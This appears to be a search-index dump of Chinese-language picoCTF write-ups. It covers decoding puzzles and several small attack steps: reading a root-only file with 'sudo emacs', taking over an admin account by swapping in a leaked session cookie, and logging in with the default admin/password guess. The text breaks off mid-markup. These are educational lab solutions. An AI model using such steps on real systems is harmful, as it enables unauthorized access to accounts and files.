\u003ccode\u003eAuthor\u003c/code\u003e 欄位是一串由英文字母及數字且 \u003ccode\u003e=\u003c/code\u003e 結尾的亂碼，可以推斷是 base64 編碼，解碼後得到 flag。\u003c/p\u003e","title":"Riddle Registry"},{"content":"題目連結 https://learn.cylabacademy.org/library/698\n題目解法 下載 digits.bin，內容都是由 0 和 1 組成，使用 cyberchef 的 From Binary 解碼後，會得到一串亂碼。 下載解碼露的檔案並放入 16 進位編輯器（如 HxD）中，會發現檔案開頭有 JFIF，因此可以猜測是 .jpg 的圖片檔。 將副檔名改為 .jpg 或是直接在 cyberchef 選擇 Render image 就能得到有 flag 的圖片。 picoCTF{h1d-----------------------b0a} ","permalink":"https://picoctf-writeup.pinjim.dev/posts/forensics/binary-digits/","summary":"\u003ch2 id=\"題目連結\"\u003e題目連結\u003c/h2\u003e\n\u003cp\u003e\u003ca href=\"https://learn.cylabacademy.org/library/698\"\u003ehttps://learn.cylabacademy.org/library/698\u003c/a\u003e\u003c/p\u003e\n\u003ch2 id=\"題目解法\"\u003e題目解法\u003c/h2\u003e\n\u003col\u003e\n\u003cli\u003e\n\u003cp\u003e下載 \u003ccode\u003edigits.bin\u003c/code\u003e，內容都是由 0 和 1 組成，使用 \u003ca href=\"https://gchq.github.io/CyberChef/\"\u003ecyberchef\u003c/a\u003e 的 From Binary 解碼後，會得到一串亂碼。\n\u003cimg alt=\"cyberchef decode\" loading=\"lazy\" src=\"/posts/forensics/binary-digits/cyberchef.webp\"\u003e\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e下載解碼露的檔案並放入 16 進位編輯器（如 HxD）中，會發現檔案開頭有 \u003ccode\u003eJFIF\u003c/code\u003e，因此可以猜測是 \u003ccode\u003e.jpg\u003c/code\u003e 的圖片檔。\n\u003cimg alt=\"HxD decode result\" loading=\"lazy\" src=\"/posts/forensics/binary-digits/hxd.webp\"\u003e\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e將副檔名改為 \u003ccode\u003e.jpg\u003c/code\u003e 或是直接在 cyberchef 選擇 Render image 就能得到有 flag 的圖片。\n\u003cimg alt=\"flag image\" loading=\"lazy\" src=\"/posts/forensics/binary-digits/flag.jpg\"\u003e\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003epicoCTF{h1d-----------------------b0a}\n\u003c/code\u003e\u003c/pre\u003e\u003c/li\u003e\n\u003c/ol\u003e","title":"Binary Digits"},{"content":"題目連結 https://learn.cylabacademy.org/library/710\n題目解法 下載 message.txt，內容如下。 1 NjM3NjcwNjI1MDQ3NTMyNTM3NDI2MTcyNjY2NzcyNzE1ZjcyNjE3MDMwNzE3NjYxNzQ1ZjczNzM2ZjZmNmY3MzM1MzcyNTM3NDQ= 目前字串由大小寫字母及數字組成，且結尾是 =，可推測是使用 base64 編碼，解碼後如下。\n637670625047532537426172666772715f72617030717661745f73736f6f6f733537253744 接著字串由多個數字以及 a 到 f 字母組成，可推測是使用 hex 編碼，解碼後如下。\ncvpbPGS%7Barfgrq_rap0qvat_ssooos57%7D 字串中有 % 符號，且後面跟著兩個十六進位數字，這是 URL encoding 的特徵，解碼後如下。\ncvpbPGS{arfgrq_rap0qvat_ssooos57} 字串開頭應該是 picoCTF，但是目前字串開頭是 cvpbPGS，使用 ROT13 進行解密，得到 flag。\npicoCTF{nes-----------------b57} 提示 建議可以使用 cyberchef 這個線上工具來進行解碼，以下是解碼的步驟： ","permalink":"https://picoctf-writeup.pinjim.dev/posts/general-skills/multicode/","summary":"\u003ch2 id=\"題目連結\"\u003e題目連結\u003c/h2\u003e\n\u003cp\u003e\u003ca href=\"https://learn.cylabacademy.org/library/710\"\u003ehttps://learn.cylabacademy.org/library/710\u003c/a\u003e\u003c/p\u003e\n\u003ch2 id=\"題目解法\"\u003e題目解法\u003c/h2\u003e\n\u003col\u003e\n\u003cli\u003e\n\u003cp\u003e下載 \u003ccode\u003emessage.txt\u003c/code\u003e，內容如下。\n\n\n\n\n\n  \n  \u003cdiv class=\"highlight\"\u003e\u003cdiv style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\n\u003ctable style=\"border-spacing:0;padding:0;margin:0;border:0;\"\u003e\u003ctr\u003e\u003ctd style=\"vertical-align:top;padding:0;margin:0;border:0;\"\u003e\n\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e1\n\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\n\u003ctd style=\"vertical-align:top;padding:0;margin:0;border:0;;width:100%\"\u003e\n\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-text\" data-lang=\"text\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eNjM3NjcwNjI1MDQ3NTMyNTM3NDI2MTcyNjY2NzcyNzE1ZjcyNjE3MDMwNzE3NjYxNzQ1ZjczNzM2ZjZmNmY3MzM1MzcyNTM3NDQ=\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e目前字串由大小寫字母及數字組成，且結尾是 \u003ccode\u003e=\u003c/code\u003e，可推測是使用 base64 編碼，解碼後如下。\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003e637670625047532537426172666772715f72617030717661745f73736f6f6f733537253744\n\u003c/code\u003e\u003c/pre\u003e\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e接著字串由多個數字以及 a 到 f 字母組成，可推測是使用 hex 編碼，解碼後如下。\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003ecvpbPGS%7Barfgrq_rap0qvat_ssooos57%7D\n\u003c/code\u003e\u003c/pre\u003e\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e字串中有 \u003ccode\u003e%\u003c/code\u003e 符號，且後面跟著兩個十六進位數字，這是 URL encoding 的特徵，解碼後如下。\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003ecvpbPGS{arfgrq_rap0qvat_ssooos57}\n\u003c/code\u003e\u003c/pre\u003e\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e字串開頭應該是 \u003ccode\u003epicoCTF\u003c/code\u003e，但是目前字串開頭是 \u003ccode\u003ecvpbPGS\u003c/code\u003e，使用 ROT13 進行解密，得到 flag。\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003epicoCTF{nes-----------------b57}\n\u003c/code\u003e\u003c/pre\u003e\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch2 id=\"提示\"\u003e提示\u003c/h2\u003e\n\u003cp\u003e建議可以使用 \u003ca href=\"https://gchq.github.io/CyberChef/\"\u003ecyberchef\u003c/a\u003e 這個線上工具來進行解碼，以下是解碼的步驟：\n\u003cimg alt=\"cyberchef decode\" loading=\"lazy\" src=\"/posts/general-skills/multicode/image.webp\"\u003e\u003c/p\u003e","title":"MultiCode"},{"content":"題目連結 https://learn.cylabacademy.org/library/740\n題目解法 使用題目提供的 ssh 連線進去後，可以看到 instructions.txt。根據提示內容可以知道要將所有部分接在一起後解壓縮，才能獲得 flag。\n1 2 3 4 5 6 Hint: - The flag is split into multiple parts as a zipped file. - Use Linux commands to combine the parts into one file. - The zip file is password protected. Use this \u0026#34;supersecret\u0026#34; password to extract the zip file. - After unzipping, check the extracted text file for the flag. 有許多方法可以將多個檔案串在一起，這裡示範兩種方法。\n使用 cat 指令將所有部分串在一起，並將結果輸出到 full_part。\\\ncat part_aa part_ab part_ac part_ad part_ae \u0026gt; full_part 使用 \u0026gt;\u0026gt; 來將每個部分接在 full_part 後面。\\\ncat part_aa \u0026gt;\u0026gt; full_part cat part_ab \u0026gt;\u0026gt; full_part cat part_ac \u0026gt;\u0026gt; full_part cat part_ad \u0026gt;\u0026gt; full_part cat part_ae \u0026gt;\u0026gt; full_part 接著使用 unzip 並輸入密碼來解壓縮 full_part，就可以得到 flag.txt 了。\\\nunzip full_part picoCTF{z1p------------------------------06b} ","permalink":"https://picoctf-writeup.pinjim.dev/posts/general-skills/piece-by-piece/","summary":"\u003ch2 id=\"題目連結\"\u003e題目連結\u003c/h2\u003e\n\u003cp\u003e\u003ca href=\"https://learn.cylabacademy.org/library/740\"\u003ehttps://learn.cylabacademy.org/library/740\u003c/a\u003e\u003c/p\u003e\n\u003ch2 id=\"題目解法\"\u003e題目解法\u003c/h2\u003e\n\u003col\u003e\n\u003cli\u003e\n\u003cp\u003e使用題目提供的 ssh 連線進去後，可以看到 \u003ccode\u003einstructions.txt\u003c/code\u003e。根據提示內容可以知道要將所有部分接在一起後解壓縮，才能獲得 flag。\u003cbr\u003e\n\n\n\n\n\n  \n  \u003cdiv class=\"highlight\"\u003e\u003cdiv style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\n\u003ctable style=\"border-spacing:0;padding:0;margin:0;border:0;\"\u003e\u003ctr\u003e\u003ctd style=\"vertical-align:top;padding:0;margin:0;border:0;\"\u003e\n\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e1\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e2\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e3\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e4\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e5\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e6\n\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\n\u003ctd style=\"vertical-align:top;padding:0;margin:0;border:0;;width:100%\"\u003e\n\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-text\" data-lang=\"text\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eHint:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e- The flag is split into multiple parts as a zipped file.\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e- Use Linux commands to combine the parts into one file.\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e- The zip file is password protected. Use this \u0026#34;supersecret\u0026#34; password to extract the zip file.\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e- After unzipping, check the extracted text file for the flag.\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/p\u003e","title":"Piece by Piece"},{"content":"題目連結 https://learn.cylabacademy.org/library/735\n題目解法 使用題目提供的 ssh 連線進去後，可以看到家目錄中有 flag.txt，但沒有權限讀取。\nctf-player@challenge:~$ ls flag.txt ctf-player@challenge:~$ cat flag.txt cat: flag.txt: Permission denied ctf-player@challenge:~$ sudo cat flag.txt [sudo] password for ctf-player: Sorry, user ctf-player is not allowed to execute \u0026#39;/usr/bin/cat flag.txt\u0026#39; as root on challenge. 使用 sudo 加上 -l 參數可以查看當前使用者使用 sudo 的權限，發現可以使用 sudo 執行 emacs 指令。\nctf-player@challenge:~$ sudo -l Matching Defaults entries for ctf-player on challenge: env_reset, mail_badpass, secure_path=/usr/local/sbin\\:/usr/local/bin\\:/usr/sbin\\:/usr/bin\\:/sbin\\:/bin\\:/snap/bin User ctf-player may run the following commands on challenge: (ALL) NOPASSWD: /bin/emacs emacs 是一個文字編輯器，可以使用 emacs 開啟 flag.txt，就可以看到裡面的內容了。\nsudo emacs flag.txt picoCTF{ju5---------------30f} ","permalink":"https://picoctf-writeup.pinjim.dev/posts/general-skills/sudo-make-me-a-sandwich/","summary":"\u003ch2 id=\"題目連結\"\u003e題目連結\u003c/h2\u003e\n\u003cp\u003e\u003ca href=\"https://learn.cylabacademy.org/library/735\"\u003ehttps://learn.cylabacademy.org/library/735\u003c/a\u003e\u003c/p\u003e\n\u003ch2 id=\"題目解法\"\u003e題目解法\u003c/h2\u003e\n\u003col\u003e\n\u003cli\u003e\n\u003cp\u003e使用題目提供的 ssh 連線進去後，可以看到家目錄中有 \u003ccode\u003eflag.txt\u003c/code\u003e，但沒有權限讀取。\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003ectf-player@challenge:~$ ls\nflag.txt\nctf-player@challenge:~$ cat flag.txt\ncat: flag.txt: Permission denied\nctf-player@challenge:~$ sudo cat flag.txt \n[sudo] password for ctf-player: \nSorry, user ctf-player is not allowed to execute \u0026#39;/usr/bin/cat flag.txt\u0026#39; as root on challenge.\n\u003c/code\u003e\u003c/pre\u003e\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e使用 \u003ccode\u003esudo\u003c/code\u003e 加上 \u003ccode\u003e-l\u003c/code\u003e 參數可以查看當前使用者使用 \u003ccode\u003esudo\u003c/code\u003e 的權限，發現可以使用 \u003ccode\u003esudo\u003c/code\u003e 執行 \u003ccode\u003eemacs\u003c/code\u003e 指令。\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003ectf-player@challenge:~$ sudo -l\nMatching Defaults entries for ctf-player on challenge:\n    env_reset, mail_badpass, secure_path=/usr/local/sbin\\:/usr/local/bin\\:/usr/sbin\\:/usr/bin\\:/sbin\\:/bin\\:/snap/bin\n\nUser ctf-player may run the following commands on challenge:\n    (ALL) NOPASSWD: /bin/emacs\n\u003c/code\u003e\u003c/pre\u003e\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ccode\u003eemacs\u003c/code\u003e 是一個文字編輯器，可以使用 \u003ccode\u003eemacs\u003c/code\u003e 開啟 \u003ccode\u003eflag.txt\u003c/code\u003e，就可以看到裡面的內容了。\u003c/p\u003e","title":"SUDO MAKE ME A SANDWICH"},{"content":"題目連結 https://learn.cylabacademy.org/library/739\n題目解法 進入網頁後，先隨便建立一組帳密並登入。登入後再主頁面可以看到多人的留言，其中 \u0026ldquo;mary_jones_8992\u0026rdquo; 留言 \u0026ldquo;Hey I found a strange page at /sessions\u0026rdquo;，如圖片所示。\n前往 /sessions 頁面後，可以看到此頁面存了個使用者的 session data，包含 admin 的。\n開啟瀏覽器的開發者工具，將 admin 的 session data 複製下來，點選 Application （有些瀏覽器叫做 storage），找到 Cookies，將 session 換成 /sessions 頁面中 admin 的 session data。\n重新整理頁面後，就會變成 admin 身分，畫面上就出現 flag 了。\n通靈解法 我解 CTF 題目時習慣性會直接在登入頁面輸入帳號 admin 密碼 password 來登入看看，結果第一次解這題時，這題 admin 的帳密剛好就是這組，害我第一次就直接就登進去看到 flag。\n","permalink":"https://picoctf-writeup.pinjim.dev/posts/web-exploitation/old-sessions/","summary":"\u003ch2 id=\"題目連結\"\u003e題目連結\u003c/h2\u003e\n\u003cp\u003e\u003ca href=\"https://learn.cylabacademy.org/library/739\"\u003ehttps://learn.cylabacademy.org/library/739\u003c/a\u003e\u003c/p\u003e\n\u003ch2 id=\"題目解法\"\u003e題目解法\u003c/h2\u003e\n\u003col\u003e\n\u003cli\u003e\n\u003cp\u003e進入網頁後，先隨便建立一組帳密並登入。登入後再主頁面可以看到多人的留言，其中 \u0026ldquo;mary_jones_8992\u0026rdquo; 留言 \u0026ldquo;Hey I found a strange page at /sessions\u0026rdquo;，如圖片所示。\u003cbr\u003e\n\u003cimg alt=\"Homepage\" loading=\"lazy\" src=\"/posts/web-exploitation/old-sessions/homepage.webp\"\u003e\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e前往 \u003ccode\u003e/sessions\u003c/code\u003e 頁面後，可以看到此頁面存了個使用者的 session data，包含 admin 的。\u003cbr\u003e\n\u003cimg alt=\"Sessions\" loading=\"lazy\" src=\"/posts/web-exploitation/old-sessions/sessions.webp\"\u003e\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e開啟瀏覽器的開發者工具，將 admin 的 session data 複製下來，點選 Application （有些瀏覽器叫做 storage），找到 Cookies，將 session 換成 \u003ccode\u003e/sessions\u003c/code\u003e 頁面中 admin 的 session data。\u003cbr\u003e\n\u003cimg alt=\"Cookies\" loading=\"lazy\" src=\"/posts/web-exploitation/old-sessions/cookies.webp\"\u003e\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e重新整理頁面後，就會變成 admin 身分，畫面上就出現 flag 了。\u003cbr\u003e\n\u003cimg alt=\"Flag\" loading=\"lazy\" src=\"/posts/web-exploitation/old-sessions/flag.webp\"\u003e\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch2 id=\"通靈解法\"\u003e通靈解法\u003c/h2\u003e\n\u003cp\u003e我解 CTF 題目時習慣性會直接在登入頁面輸入帳號 \u003ccode\u003eadmin\u003c/code\u003e 密碼 \u003ccode\u003epassword\u003c/code\u003e 來登入看看，結果第一次解這題時，這題 admin 的帳密剛好就是這組，害我第一次就直接就登進去看到 flag。\u003c/p\u003e","title":"Old Sessions"},{"content":"題目連結 https://learn.cylabacademy.org/library/742\n題目解法 下載題目提供的原始碼後，，可以看到第11行顯示當使用者輸入 3 個連續 e 時，就會印出 flag。\napp.py\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 while(True): try: print(\u0026#39;⊹──────[ BYTEMANCY-0 ]──────⊹\u0026#39;) print(\u0026#34;☍⟐☉⟊☽☈⟁⧋⟡☍⟐☉⟊☽☈⟁⧋⟡☍⟐☉⟊☽☈⟁⧋⟡☍⟐\u0026#34;) print() print(\u0026#39;Send me ASCII DECIMAL 101, 101, 101, side-by-side, no space.\u0026#39;) print() print(\u0026#34;☍⟐☉⟊☽☈⟁⧋⟡☍⟐☉⟊☽☈⟁⧋⟡☍⟐☉⟊☽☈⟁⧋⟡☍⟐\u0026#34;) print(\u0026#39;⊹─────────────⟡─────────────⊹\u0026#39;) user_input = input(\u0026#39;==\u0026gt; \u0026#39;) if user_input == \u0026#34;\\x65\\x65\\x65\u0026#34;: print(open(\u0026#34;./flag.txt\u0026#34;, \u0026#34;r\u0026#34;).read()) break else: print(\u0026#34;That wasn\u0026#39;t it. I got: \u0026#34; + str(user_input)) print() print() print() except Exception as e: print(e) break 使用 nc 連線後輸入三個 e 就可以獲得 flag 了。\n$ nc candy-mountain.picoctf.net 54966 ⊹──────[ BYTEMANCY-0 ]──────⊹ ☍⟐☉⟊☽☈⟁⧋⟡☍⟐☉⟊☽☈⟁⧋⟡☍⟐☉⟊☽☈⟁⧋⟡☍⟐ Send me ASCII DECIMAL 101, 101, 101, side-by-side, no space. ☍⟐☉⟊☽☈⟁⧋⟡☍⟐☉⟊☽☈⟁⧋⟡☍⟐☉⟊☽☈⟁⧋⟡☍⟐ ⊹─────────────⟡─────────────⊹ ==\u0026gt; eee picoCTF{pr1------------------7a7} ","permalink":"https://picoctf-writeup.pinjim.dev/posts/general-skills/bytemancy-0/","summary":"\u003ch2 id=\"題目連結\"\u003e題目連結\u003c/h2\u003e\n\u003cp\u003e\u003ca href=\"https://learn.cylabacademy.org/library/742\"\u003ehttps://learn.cylabacademy.org/library/742\u003c/a\u003e\u003c/p\u003e\n\u003ch2 id=\"題目解法\"\u003e題目解法\u003c/h2\u003e\n\u003col\u003e\n\u003cli\u003e\n\u003cp\u003e下載題目提供的原始碼後，，可以看到第11行顯示當使用者輸入 3 個連續 \u003ccode\u003ee\u003c/code\u003e 時，就會印出 flag。\u003cbr\u003e\n\u003ccode\u003eapp.py\u003c/code\u003e\u003cbr\u003e\n\n\n\n\n\n  \n  \u003cdiv class=\"highlight\"\u003e\u003cdiv style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\n\u003ctable style=\"border-spacing:0;padding:0;margin:0;border:0;\"\u003e\u003ctr\u003e\u003ctd style=\"vertical-align:top;padding:0;margin:0;border:0;\"\u003e\n\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 1\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 2\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 3\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 4\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 5\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 6\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 7\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 8\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 9\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e10\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e11\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e12\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e13\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e14\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e15\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e16\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e17\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e18\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e19\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e20\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e21\n\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\n\u003ctd style=\"vertical-align:top;padding:0;margin:0;border:0;;width:100%\"\u003e\n\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-python\" data-lang=\"python\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003ewhile\u003c/span\u003e(\u003cspan style=\"color:#66d9ef\"\u003eTrue\u003c/span\u003e):\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#66d9ef\"\u003etry\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    print(\u003cspan style=\"color:#e6db74\"\u003e\u0026#39;⊹──────[ BYTEMANCY-0 ]──────⊹\u0026#39;\u003c/span\u003e)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    print(\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;☍⟐☉⟊☽☈⟁⧋⟡☍⟐☉⟊☽☈⟁⧋⟡☍⟐☉⟊☽☈⟁⧋⟡☍⟐\u0026#34;\u003c/span\u003e)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    print()\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    print(\u003cspan style=\"color:#e6db74\"\u003e\u0026#39;Send me ASCII DECIMAL 101, 101, 101, side-by-side, no space.\u0026#39;\u003c/span\u003e)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    print()\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    print(\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;☍⟐☉⟊☽☈⟁⧋⟡☍⟐☉⟊☽☈⟁⧋⟡☍⟐☉⟊☽☈⟁⧋⟡☍⟐\u0026#34;\u003c/span\u003e)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    print(\u003cspan style=\"color:#e6db74\"\u003e\u0026#39;⊹─────────────⟡─────────────⊹\u0026#39;\u003c/span\u003e)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    user_input \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e input(\u003cspan style=\"color:#e6db74\"\u003e\u0026#39;==\u0026gt; \u0026#39;\u003c/span\u003e)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#66d9ef\"\u003eif\u003c/span\u003e user_input \u003cspan style=\"color:#f92672\"\u003e==\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e\\x65\\x65\\x65\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      print(open(\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;./flag.txt\u0026#34;\u003c/span\u003e, \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;r\u0026#34;\u003c/span\u003e)\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003eread())\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#66d9ef\"\u003ebreak\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#66d9ef\"\u003eelse\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan 